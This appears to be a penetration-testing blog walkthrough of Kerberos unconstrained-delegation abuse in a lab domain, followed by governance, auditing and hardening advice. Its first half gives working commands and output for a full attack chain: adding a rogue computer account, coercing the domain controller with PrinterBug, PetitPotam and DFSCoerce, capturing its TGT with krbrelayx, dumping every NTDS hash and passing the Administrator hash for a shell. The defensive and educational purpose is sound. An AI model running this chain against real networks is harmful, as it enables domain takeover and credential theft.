Kerberos Attack via Unconstrained Delegation with krbrelayx

Legacy Kerberos Exploitation

With SpecterOps // Creator and Maintainer of BloodHound the attack-path management.

specterops-logo

Unconstrained Delegation is a legacy Kerberos trust mechanism that Microsoft introduced with Windows in early 2000. Two decades later, it remains enabled in production environments because administrators don't understand the security implications.

A typical Kerberos authentication attack scenario originates from an unconstrained delegation, where attackers identify misconfigurations and steal authentication information, such as password hashes, Kerberos tickets, and application access tokens.

Attackers can escalate higher privileges and move laterally within an organization's IT infrastructure to target high-value assets.

When a user authenticates to a computer with unconstrained delegation, that user's Kerberos TGT gets saved to that computer's memory so the computer can impersonate the authenticated user when required for accessing resources on that user's behalf.

This privilege is usually given to computer objects within the domain.

However, during a recent Praetorian internal network security assessment, Praetorian engineers encountered a user object that was kerberoastable and configured with these privileges.

PS that BloodHound won't (sometimes, collectors matter) show you this path. Antivirus won't stop it, it's pure Kerberos protocol abuse and attack.

image-cerbersu

When a computer is trusted for unconstrained delegation, it can impersonate any user who authenticates to it. Force the Domain Controller to authenticate to your controlled machine, steal its TGT, and you own the domain.

This is what's called KUD, FKA Kerberos Unconstrained Delegation abuse, and Unconstrained delegation abuse with krbrelayx project.

Unconstrained Delegation Overview

Delegation allows a service to impersonate users when accessing other services on their behalf. Think of a web application accessing a database using the authenticated user's credentials rather than a service account.

How Unconstrained Delegation Works

When enabled on a computer account:

  1. User authenticates to the service.
  2. User's TGT is sent along with the service ticket.
  3. Service stores the TGT in memory.
  4. Service can use that TGT to impersonate the user anywhere.

In order to abuse the unconstrained delegations privileges of an account, an attacker must add his machine to its SPNs (of the compromised account) and add a DNS entry for that name.

The problem?

The service receives forwardable TGTs for anyone who authenticates, including Domain Admins and the Domain Controller computer account itself.

Why This Still Exists

Microsoft deprecated unconstrained delegation with Windows Server 2003, introducing constrained delegation and later Resource-Based Constrained Delegation FKA RBCD. Despite this:

  • DC have unconstrained delegation by default.
  • Legacy applications.
  • Administrators enable it without understanding the risk.
  • Group Policy doesn't warn when configuring it.
  • Audit tools rarely (couple-times) flag it as critical.

The Attack Path: SeEnableDelegationPrivilege

This attack demonstrates privilege escalation through delegation configuration rights. The key is SeEnableDelegationPrivilege, a user right that allows configuring delegation settings on computer accounts.

Initial Enumeration

Starting with domain credentials:

┌──(kali㉿kali)-[~]
└─$ nxc ldap 192.168.2.68 -u N.Thompson -p KALEB_2341
LDAP        192.168.2.68    389    DC1              [*] Windows Server 2022 Build 20348 (name:DC1) (domain:delegate.vuln)
LDAP        192.168.2.68    389    DC1              [+] delegate.vuln\N.Thompson:KALEB_2341

Confirm WinRM access:

┌──(kali㉿kali)-[~]
└─$ nxc winrm 192.168.2.68 -u N.Thompson -p KALEB_2341
WINRM       192.168.2.68    5985   DC1              [*] Windows Server 2022 Build 20348 (name:DC1) (domain:delegate.vuln)
WINRM       192.168.2.68    5985   DC1              [+] delegate.vuln\N.Thompson:KALEB_2341 (Pwn3d!)

Identifying the Privilege

Connect via WinRM and enumerate user rights:

*Evil-WinRM* PS C:\Users\N.Thompson\Documents> whoami
delegate\n.thompson
*Evil-WinRM* PS C:\Users\N.Thompson\Documents> whoami /all

USER INFORMATION
----------------

User Name           SID
=================== ==============================================
delegate\n.thompson S-1-5-21-1484473093-3449528695-2030935120-1108


GROUP INFORMATION
-----------------

Group Name                                  Type             SID                                            Attributes
=========================================== ================ ============================================== ==================================================
Everyone                                    Well-known group S-1-1-0                                        Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users             Alias            S-1-5-32-580                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554                                   Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15                                       Mandatory group, Enabled by default, Enabled group
DELEGATE\delegation admins                  Group            S-1-5-21-1484473093-3449528695-2030935120-1121 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication            Well-known group S-1-5-64-10                                    Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label            S-1-16-8448


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                                                    State
============================= ============================================================== =======
SeMachineAccountPrivilege     Add workstations to domain                                     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                                       Enabled
SeEnableDelegationPrivilege   Enable computer and user accounts to be trusted for delegation Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set                                 Enabled


USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.

The critical privilege: SeEnableDelegationPrivilege. This allows us to configure both unconstrained and constrained delegation for machine accounts.

Why BloodHound Misses This

BloodHound tracks ACL-based relationships: who has GenericAll, WriteDacl, etc.

It doesn't enumerate user rights assignments like SeEnableDelegationPrivilege because these are configured via Group Policy, not object ACLs.

The attack path exists, but it's invisible to standard enumeration tools.

Exploitation Strategy

Our goal: force the Domain Controller to authenticate to a machine we control with unconstrained delegation enabled. When it does, we capture its TGT and use it for DCSync.

Attack Steps

  1. Create a computer account.
  2. Configure unconstrained delegation on that computer.
  3. Add DNS record pointing to our attack machine.
  4. Set service principal names SPNs for Kerberos.
  5. Run krbrelayx to listen for incoming tickets.
  6. Force DC authentication using PrinterBug or similar.
  7. Capture DC's TGT from krbrelayx.
  8. Use DC Ticket for DCSync.

Step 1: Machine Account Quota Check

Verify we can add computer accounts:

┌──(kali㉿kali)-[~]
└─$ nxc ldap 192.168.2.68 -u N.Thompson -p KALEB_2341 -M maq
LDAP        192.168.2.68    389    DC1              [*] Windows Server 2022 Build 20348 (name:DC1) (domain:delegate.vuln)
LDAP        192.168.2.68    389    DC1              [+] delegate.vuln\N.Thompson:KALEB_2341 
MAQ         192.168.2.68    389    DC1              [*] Getting the MachineAccountQuota
MAQ         192.168.2.68    389    DC1              MachineAccountQuota: 10

Default MachineAccountQuota is 10, allowing any authenticated user to add up to 10 computer accounts. This is rarely changed in production environments.

Step 2: Add Computer Account

Create a machine account we control:

┌──(kali㉿kali)-[~]
└─$ addcomputer.py -dc-ip 192.168.2.68 -computer-name evil$ -computer-pass Passw0rd1 delegate.vuln/N.Thompson:KALEB_2341
Impacket v0.14.0.dev0+20251107.4500.2f1d6eb2 - Copyright Fortra, LLC and its affiliated companies 

[*] Successfully added machine account evil$ with password Passw0rd1.

Output:

Impacket v0.14.0.dev0+20251107.4500.2f1d6eb2 - Copyright Fortra, LLC and its affiliated companies 

[*] Successfully added machine account evil$ with password Passw0rd1.

Credentials to remember:

Username: evil$
Password: Passw0rd1

Step 3: Enable Unconstrained Delegation

Using bloodyAD to set the delegation flag:

┌──(kali㉿kali)-[~]
└─$ bloodyAD --host 192.168.2.68 -u n.thompson -p KALEB_2341 -d delegate.vuln add uac -f TRUSTED_FOR_DELEGATION 'evil$'
[-] ['TRUSTED_FOR_DELEGATION'] property flags added to evil$'s userAccountControl

Output confirms modification:

[-] ['TRUSTED_FOR_DELEGATION'] property flags added to evil$'s userAccountControl

The TRUSTED_FOR_DELEGATION flag in userAccountControl attribute marks the computer as trusted for unconstrained delegation. Any TGT sent to this computer will be cached.

Step 4: DNS Record Configuration

Add DNS record pointing to our attack machine:

┌──(kali㉿kali)-[~]
└─$ python3 dnstool.py -u 'delegate.VULN\evil$' -p Passw0rd1 --action add --record evil.delegate.VULN -d 10.10.14.8 -t A -dns-ip 192.168.2.68 dc1.delegate.vuln
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

Output:

[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

Now evil.delegate.vuln resolves to our Kali machine at 10.10.14.8. When services try to authenticate to this hostname, they'll connect to us.

Step 5: Service Principal Names

SPNs identify services in Kerberos. Add CIFS service for SMB-based authentication:

python3 addspn.py -u 'delegate.vuln\N.Thompson' -p KALEB_2341 -s 'cifs/evil.delegate.vuln' -t evil$ -dc-ip 192.168.2.68 dc1.delegate.vuln --additional

First SPN addition:

[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[+] SPN Modified successfully

Add again to ensure proper registration:

python3 addspn.py -u 'delegate.vuln\N.Thompson' -p KALEB_2341 -s 'cifs/evil.delegate.vuln' -t evil$ -dc-ip 192.168.2.68 dc1.delegate.vuln
[+] SPN Modified successfully

Internal Verification

Confirm SPN configuration from within the domain with PowerShell Command:

Get-ADComputer -Identity "[COMPUTER$]" -Properties ServicePrincipalNames | Select-Object -ExpandProperty ServicePrincipalNames
*Evil-WinRM* PS C:\Users\N.Thompson> Get-ADComputer -Identity "evil$" -Properties ServicePrincipalNames | Select-Object -ExpandProperty ServicePrincipalNames
cifs/evil.delegate.vuln

SPN registered correctly. The computer account now looks like a legitimate file server from Kerberos perspective.

Step 6: NTLM Hash Generation

krbrelayx requires the NTLM hash of the computer account password. Convert cleartext password to NTLM hash using MD4:

import hashlib
password = "Passw0rd1"
ntlm_hash = hashlib.new('md4', password.encode('utf-16le')).hexdigest()
print(f"NTLM Hash: {ntlm_hash}")

Which you can find here for my Gits, then execute the script:

┌──(kali㉿kali)-[~]
└─$ python3 hash_convert.py
NTLM Hash: 5858d47a41e40b40f294b3100bea611f

Store this hash: 5858d47a41e40b40f294b3100bea611f

Verify Delegation Flag

Double-check the delegation setting is persistent:

bloodyAD -d delegate.vuln -u n.thompson -p KALEB_2341 --host dc1.delegate.vuln add uac 'evil$' -f TRUSTED_FOR_DELEGATION
[-] ['TRUSTED_FOR_DELEGATION'] property flags added to evil$'s userAccountControl

Step 7: krbrelayx Listener

Launch krbrelayx with the NTLM hash to intercept incoming Kerberos tickets:

┌──(kali㉿kali)-[~]
└─$ python3 krbrelayx.py -hashes :5858d47a41e40b40f294b3100bea611f
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client SMB loaded..
[*] Running in export mode (all tickets will be saved to disk). Works with unconstrained delegation attack only.
[*] Running in unconstrained delegation abuse mode using the specified credentials.
[*] Setting up SMB Server

[*] Setting up HTTP Server on port 80
[*] Setting up DNS Server
[*] Servers started, waiting for connections
[*] SMBD: Received connection from 192.168.2.68
[*] Got ticket for DC1$@DELEGATE.VULN [krbtgt@DELEGATE.VULN]
[*] Saving ticket in DC1$@DELEGATE.VULN_krbtgt@DELEGATE.VULN.ccache
[*] SMBD: Received connection from 192.168.2.68
[-] Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider'
[*] SMBD: Received connection from 192.168.2.68
[-] Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider'

krbrelayx initializes multiple protocol handlers:

[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client SMB loaded..
[*] Running in export mode (all tickets will be saved to disk). Works with unconstrained delegation attack only.
[*] Running in unconstrained delegation abuse mode using the specified credentials.
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up DNS Server
[*] Servers started, waiting for connections

krbrelayx is now listening, any authentication to our controlled machine will result in TGT capture.

Step 8: Coercion Attack

Force the Domain Controller to authenticate to our machine. First, identify available coercion methods:

nxc smb DC1.delegate.vuln -u 'evil$' -p Passw0rd1 -M coerce_plus

Results show multiple vulnerable coercion methods:

┌──(kali㉿kali)-[~]
└─$ nxc smb DC1.delegate.vuln -u 'evil$' -p Passw0rd1 -M coerce_plus
SMB         192.168.2.68   445    DC1              [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:delegate.vuln) (signing:True) (SMBv1:False) 
SMB         192.168.2.68   445    DC1              [+] delegate.vuln\evil$:Passw0rd1 
COERCE_PLUS 192.168.2.68   445    DC1              VULNERABLE, DFSCoerce
COERCE_PLUS 192.168.2.68   445    DC1              VULNERABLE, PetitPotam
COERCE_PLUS 192.168.2.68   445    DC1              VULNERABLE, PrinterBug
COERCE_PLUS 192.168.2.68   445    DC1              VULNERABLE, PrinterBug
COERCE_PLUS 192.168.2.68   445    DC1              VULNERABLE, MSEven

PrinterBug is the most reliable.

Execute the coercion:

nxc smb DC1.delegate.vuln -u 'evil$' -p Passw0rd1 -M coerce_plus -o LISTENER=evil.delegate.vuln METHOD=PrinterBug

Attack succeeds:

┌──(kali㉿kali)-[~]
└─$ nxc smb DC1.delegate.vuln -u 'evil$' -p Passw0rd1 -M coerce_plus -o LISTENER=evil.delegate.vuln METHOD=PrinterBug
SMB         192.168.2.68   445    DC1              [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:delegate.vuln) (signing:True) (SMBv1:False) 
SMB         192.168.2.68   445    DC1              [+] delegate.vuln\evil$:Passw0rd1 
COERCE_PLUS 192.168.2.68   445    DC1              VULNERABLE, PrinterBug
COERCE_PLUS 192.168.2.68   445    DC1              Exploit Success, spoolss\RpcRemoteFindFirstPrinterChangeNotificationEx

PrinterBug forces the DC computer account to authenticate to evil.delegate.vuln, which resolves to our krbrelayx listener.

Step 9: Ticket Capture

Back to our krbrelayx listener, tickets are incoming:

[*] SMBD: Received connection from 192.168.2.68
[*] Got ticket for DC1$@DELEGATE.VULN [krbtgt@DELEGATE.VULN]
[*] Saving ticket in DC1$@DELEGATE.VULN_krbtgt@DELEGATE.VULN.ccache
[*] SMBD: Received connection from 192.168.2.68
[-] Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider'
[*] SMBD: Received connection from 192.168.2.68
[-] Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider'

Critical line here, we got ticket for the DC itself.

unconstrained-delegation-path

We've captured the Domain Controller's TGT. Verify the file:

┌──(kali㉿kali)-[~]
└─$ ls
bhce  DC1$@DELEGATE.VULN_krbtgt@DELEGATE.VULN.ccache

Step 10: DCSync with Captured TGT

Export the captured ticket for Kerberos authentication:

export KRB5CCNAME='DC1$@DELEGATE.VULN_krbtgt@DELEGATE.VULN.ccache'

Verify ticket validity:

┌──(kali㉿kali)-[~]
└─$ klist
Ticket cache: FILE:DC1$@DELEGATE.VULN_krbtgt@DELEGATE.VULN.ccache
Default principal: DC1$@DELEGATE.VULN

Valid starting       Expires              Service principal
01/18/2026 13:22:10  01/18/2026 22:30:49  krbtgt/DELEGATE.VULN@DELEGATE.VULN
        renew until 01/25/2026 12:30:49

Ticket is valid for nearly 10 hours with a 7-day renewal window. Execute DCSync:

nxc smb DC1.delegate.vuln --use-kcache --ntds

NetExec prompts about potential DC crash on Server 2019, but 2022 is stable:

┌──(kali㉿kali)-[~]
└─$ nxc smb DC1.delegate.vuln --use-kcache --ntds                                                                        
[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user  to dump a specific user safely or the module -M ntdsutil [Y/n] Y
SMB         DC1.delegate.vuln 445    DC1              [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:delegate.vuln) (signing:True) (SMBv1:False) 
SMB         DC1.delegate.vuln 445    DC1              [+] DELEGATE.VULN\DC1$ from ccache 
SMB         DC1.delegate.vuln 445    DC1              [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         DC1.delegate.vuln 445    DC1              Administrator:500:aad3b435b51404eeaad3b435b51404ee:c32198ceab4cc695e65045562aa3ee93:::
SMB         DC1.delegate.vuln 445    DC1              Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         DC1.delegate.vuln 445    DC1              krbtgt:502:aad3b435b51404eeaad3b435b51404ee:54999c1daa89d35fbd2e36d01c4a2cf2:::
SMB         DC1.delegate.vuln 445    DC1              A.Briggs:1104:aad3b435b51404eeaad3b435b51404ee:8e5a0462f96bc85faf20378e243bc4a3:::
SMB         DC1.delegate.vuln 445    DC1              b.Brown:1105:aad3b435b51404eeaad3b435b51404ee:deba71222554122c3634496a0af085a6:::
SMB         DC1.delegate.vuln 445    DC1              R.Cooper:1106:aad3b435b51404eeaad3b435b51404ee:17d5f7ab7fc61d80d1b9d156f815add1:::
SMB         DC1.delegate.vuln 445    DC1              J.Roberts:1107:aad3b435b51404eeaad3b435b51404ee:4ff255c7ff10d86b5b34b47adc62114f:::
SMB         DC1.delegate.vuln 445    DC1              N.Thompson:1108:aad3b435b51404eeaad3b435b51404ee:4b514595c7ad3e2f7bb70e7e61ec1afe:::
SMB         DC1.delegate.vuln 445    DC1              DC1$:1000:aad3b435b51404eeaad3b435b51404ee:f7caf5a3e44bac110b9551edd1ddfa3c:::
SMB         DC1.delegate.vuln 445    DC1              evil$:4601:aad3b435b51404eeaad3b435b51404ee:5858d47a41e40b40f294b3100bea611f:::
SMB         DC1.delegate.vuln 445    DC1              [+] Dumped 10 NTDS hashes to /root/.nxc/logs/ntds/DC1_DC1.delegate.vuln_2026-01-18_132641.ntds of which 8 were added to the database
SMB         DC1.delegate.vuln 445    DC1              [*] To extract only enabled accounts from the output file, run the following command: 
SMB         DC1.delegate.vuln 445    DC1              [*] cat /root/.nxc/logs/ntds/DC1_DC1.delegate.vuln_2026-01-18_132641.ntds | grep -iv disabled | cut -d ':' -f1
SMB         DC1.delegate.vuln 445    DC1              [*] grep -iv disabled /root/.nxc/logs/ntds/DC1_DC1.delegate.vuln_2026-01-18_132641.ntds | cut -d ':' -f1

Full domain compromise achieved.

Administrator hash extracted: c32198ceab4cc695e65045562aa3ee93

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i delegate.vuln -u administrator -H c32198ceab4cc695e65045562aa3ee93                            
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
delegate\administrator

Done! as an AdverXaries this it profit!!

GRC and Policy Implications

This attack demonstrates fundamental governance failures in Active Directory management.

Configuration Management

Organizations lack proper configuration management for delegation settings:

  • No inventory of systems with unconstrained delegation.
  • No approval workflow configuration.
  • No periodic auditing of delegation settings.
  • No documentation of why delegation was enabled.

Risk management frameworks like NIST 800-53 require configuration management (CM-2) and configuration change control (CM-3). Delegation settings should be treated as critical security parameters requiring formal change management.

Privilege Management Policy

SeEnableDelegationPrivilege is equivalent to Domain Admin in this scenario, yet it's rarely included in privileged access management programs:

  • Not tracked in PAM solution.s
  • Not subject to just-in-time access controls.
  • No approval workflow for assignment.
  • No monitoring of usage.

CIS Controls v8 requires inventory and control of privileged accounts (Control 5.4). User rights assignments like SeEnableDelegationPrivilege must be included in this inventory.

MachineAccountQuota Policy

The default MachineAccountQuota of 10 allows any authenticated user to add computers. This violates least privilege principles:

  • No business justification for users adding computers.
  • No approval process for machine account creation.
  • No monitoring of unexpected account additions.
  • Created accounts persist indefinitely.

Best practice: Set MachineAccountQuota to 0 and delegate computer account creation to specific IT groups through controlled processes.

Change Detection and Monitoring

The attack chain involved multiple detectable changes:

  • Computer account creation.
  • UAC attribute modification.
  • DNS record addition.
  • SPN registration.
  • Authentication coercion.
  • DCSync replication request.

Organizations with proper SIEM integration and AD change monitoring would detect several of these steps. However, most environments lack:

  • Real-time AD attribute change monitoring.
  • DNS modification alerting.
  • SPN registration monitoring.
  • Correlation between related suspicious activities.

Compliance Considerations

This attack violates multiple compliance requirements:

PCI DSS 4.0

  • Requirement 7.2.5: User access rights must follow least privilege
  • Requirement 8.2.2: Authentication mechanisms must be secured

ISO 27001:2022

  • A.5.15: Access control regarding delegation settings not properly controlled
  • A.5.18: Access rights for excessive privileges granted

NIST Cybersecurity Framework

  • PR.AC-4: Access permissions managed for delegation not properly controlled
  • DE.CM-1: Network monitored as coercion attacks not detected

Remediation and Hardening

Organizations must address unconstrained delegation through policy and technical controls.

Immediate Actions

Identify systems with unconstrained delegation:

Get-ADComputer -Filter {TrustedForDelegation -eq $True} -Properties TrustedForDelegation,ServicePrincipalNames | Select-Object Name,TrustedForDelegation,ServicePrincipalNames

For each identified system, evaluate:

  1. Is unconstrained delegation required for application functionality?
  2. Can it be replaced with constrained or RBCD as resource-based constrained delegation?
  3. If required, what compensating controls exist?

Policy Controls

Implement formal approval processes:

  • Document business justification for delegation
  • Require security review and approval
  • Set expiration dates for delegation configurations
  • Conduct quarterly reviews of all delegation settings

Technical Controls

Reduce attack surface through Group Policy:

Set MachineAccountQuota to zero:

Set-ADDomain -Identity delegate.vuln -Replace @{"ms-DS-MachineAccountQuota"="0"}

Protected Users Security Group

Add privileged accounts to Protected Users group. This prevents:

  • NTLM authentication.
  • DES or RC4 encryption in Kerberos.
  • Delegation (constrained or unconstrained).
  • TGT renewal beyond initial 4-hour lifetime.

Even if a protected user authenticates to a machine with unconstrained delegation, their TGT won't be cached.

Alternative Attack Vectors

This attack used PrinterBug for coercion, but multiple methods exist.

PetitPotam

Forces authentication via MS-EFSRPC:

python3 PetitPotam.py -u evil$ -p Passw0rd1 evil.delegate.vuln 192.168.2.68

DFSCoerce

Abuses Distributed File System RPC calls:

python3 dfscoerce.py -u evil$ -p Passw0rd1 evil.delegate.vuln 192.168.2.68

Coercer Tool

Automated testing of multiple coercion methods:

python3 Coercer.py -u evil$ -p Passw0rd1 -d delegate.vuln -l evil.delegate.vuln -t 192.168.2.68

Constrained Delegation as Alternative

If delegation is legitimately required, constrained delegation limits the scope of impersonation.

Configuring Constrained Delegation

Set-ADComputer "WebServer" -Add @{'msDS-AllowedToDelegateTo'=@('MSSQLSvc/DBServer.delegate.vuln:1433','MSSQLSvc/DBServer:1433')}

This allows WebServer to impersonate users only to the SQL service, not domain-wide.

Resource-Based Constrained Delegation

Even better, use RBCD where the target resource controls who can delegate:

Set-ADComputer "DBServer" -PrincipalsAllowedToDelegateToAccount "WebServer$"

This inverts the trust model, the resource decides who can impersonate to it, rather than the front-end service having broad delegation rights.

Governance Framework Implementation

Organizations should implement formal governance for Kerberos delegation.

Delegation Approval Process

  1. Application owner submits delegation request with business justification.
  2. Security team evaluates necessity and alternatives.
  3. Change Advisory Board approves with time limit.
  4. IT implements with compensating controls.
  5. SIEM rules configured.
  6. Quarterly validation that delegation still required.

Delegation Registry

Maintain centralized tracking:

  • System name and purpose.
  • Delegation type (unconstrained, constrained, RBCD).
  • Approval date and approver.
  • Expiration or review date.
  • Compensating controls.
  • Monitoring requirements.

Risk Assessment Template

Evaluate delegation requests against:

  • What can be compromised if this system is owned?
  • What user accounts will authenticate to this system?
  • Can constrained delegation or RBCD meet the requirement?
  • Network segmentation, enhanced monitoring, etc.
  • What breaks if delegation is removed?

Audit Queries for Compliance

Regular auditing identifies risky configurations.

Find Unconstrained Delegation

Get-ADComputer -Filter * -Properties TrustedForDelegation | Where-Object {$_.TrustedForDelegation -eq $True -and $_.Name -ne 'DC1'} | Select-Object Name,DistinguishedName,TrustedForDelegation

Exclude Domain Controllers as they require unconstrained delegation by design.

Find SeEnableDelegationPrivilege Assignment

secedit /export /cfg c:\secpol.cfg
Get-Content c:\secpol.cfg | Select-String "SeEnableDelegationPrivilege"

This right should only be assigned to specific administrative groups, never to standard user groups.

Monitor Computer Account Creation

Event ID 4741 logs computer account creation. Alert on creation by non-IT accounts:

Get-WinEvent -FilterHashtable @{LogName='Security';ID=4741} -MaxEvents 100 | Where-Object {$_.Properties[4].Value -notmatch 'IT-Admins|Domain Admins'} | Format-Table TimeCreated,@{L='Creator';E={$_.Properties[4].Value}},@{L='Computer';E={$_.Properties[0].Value}}

Lessons for Security Programs

This attack reveals gaps in typical security programs.

Tools Don't Replace Understanding

BloodHound is invaluable but doesn't show every attack path. Security teams must understand Active Directory mechanics beyond tool output.

Default Configurations Are Security Decisions

Leaving MachineAccountQuota at 10 is a security decision, not a neutral default. Every default configuration should be evaluated and justified.

User Rights Are Privileges

SeEnableDelegationPrivilege is as dangerous as SeDebugPrivilege or SeBackupPrivilege, yet it's rarely included in privilege management programs.

Legacy Features Persist

Unconstrained delegation was deprecated in 2003. Twenty years later, it's still exploitable in production environments. Deprecation doesn't mean removal, legacy features require active hardening.

Conclusion

Kerberos Unconstrained Delegation abuse demonstrates that effective Active Directory attacks don't require vulnerabilities, they exploit design decisions and misconfigurations that persist across decades.

From initial access to domain compromise:

  1. Identify SeEnableDelegationPrivilege.
  2. Create controlled computer account.
  3. Configure unconstrained delegation.
  4. Setup DNS and SPN records.
  5. Run krbrelayx listener.
  6. Coerce DC authentication.
  7. Capture DC TGT.
  8. Execute DCSync.

Eight steps, all using legitimate Kerberos functionality. No exploitation, no vulnerability, just trust model abuse.

Defense requires governance: formal approval processes, configuration inventories, regular auditing, and treating delegation settings as critical security parameters.

Technical controls alone are insufficient, organizations need policy frameworks that prevent these configurations from being deployed in the first place.

Tools and Resources

Shout Outs

I think that's most of it for us Adversaries and some sparks of GRC.

Thanks for reading!!

Go Top